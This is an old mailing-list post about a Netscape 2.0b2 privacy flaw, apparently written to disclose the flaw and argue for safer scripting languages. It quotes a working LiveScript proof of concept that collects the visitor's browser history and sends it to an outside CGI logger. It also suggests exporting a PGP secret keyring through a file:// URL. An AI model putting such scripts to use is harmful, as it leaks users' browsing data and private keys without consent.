Re: Netscape 2.0b2 allows for invasion of privacy (fwd)

[Adam Shostack <adam@lighthouse.homeport.org>]

	About a month ago, I made the argument that Java, despite its
imperfections, is much better than most things we'll see.  I stand by
this argument, and urge Netscape to use only Java* as a scripting
language.

	*By Java, I mean the class of languages designed with security
in mind.  I think that means Java and Safe-TCL.  Taint-perl is not
useful; its designed for unsafe input from a user, not unsafe code.

	People with time to hack netscape might experiment with
location.href = "file://.pgp/secring.pgp" and see if you can write a
script to export it somewhere.

And here's how its done.  Hitting the page makes your history public
knowledge.  (Btw, Bal, is Netbsd1.1 stable yet? :)

scott@tripleg.com.au wrote this code:

<SCRIPT LANGUAGE="LiveScript">

<!--
  i = 0
  yourHistory = ""
  while (i < history.length) { 
    yourHistory += history[i]
    i++;
    if (i < history.length) yourHistory += "^"
  }
  location.href = "http://www.tripleg.com.au/cgi-bin/scott/his?"+yourHistory
<!-- hahah here is the hidden script -->


Graeme Cross wrote:
| >From: Scott Weston <scott@tripleg.com.au>
| >The "LiveScript" that I wrote extracts ALL the history of the current
| >netscape window.  By history I mean ALL the pages that you have visited
| >to get to my page, it then generates a string of these and forces the
| >Netscape client to load a URL that is a CGI script with the QUERY_STRING
| >set to the users History.  The CGI script then adds this information
| >to a log file.  Now if this hasn't quite CLICKED yet lets do a little
| >example.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume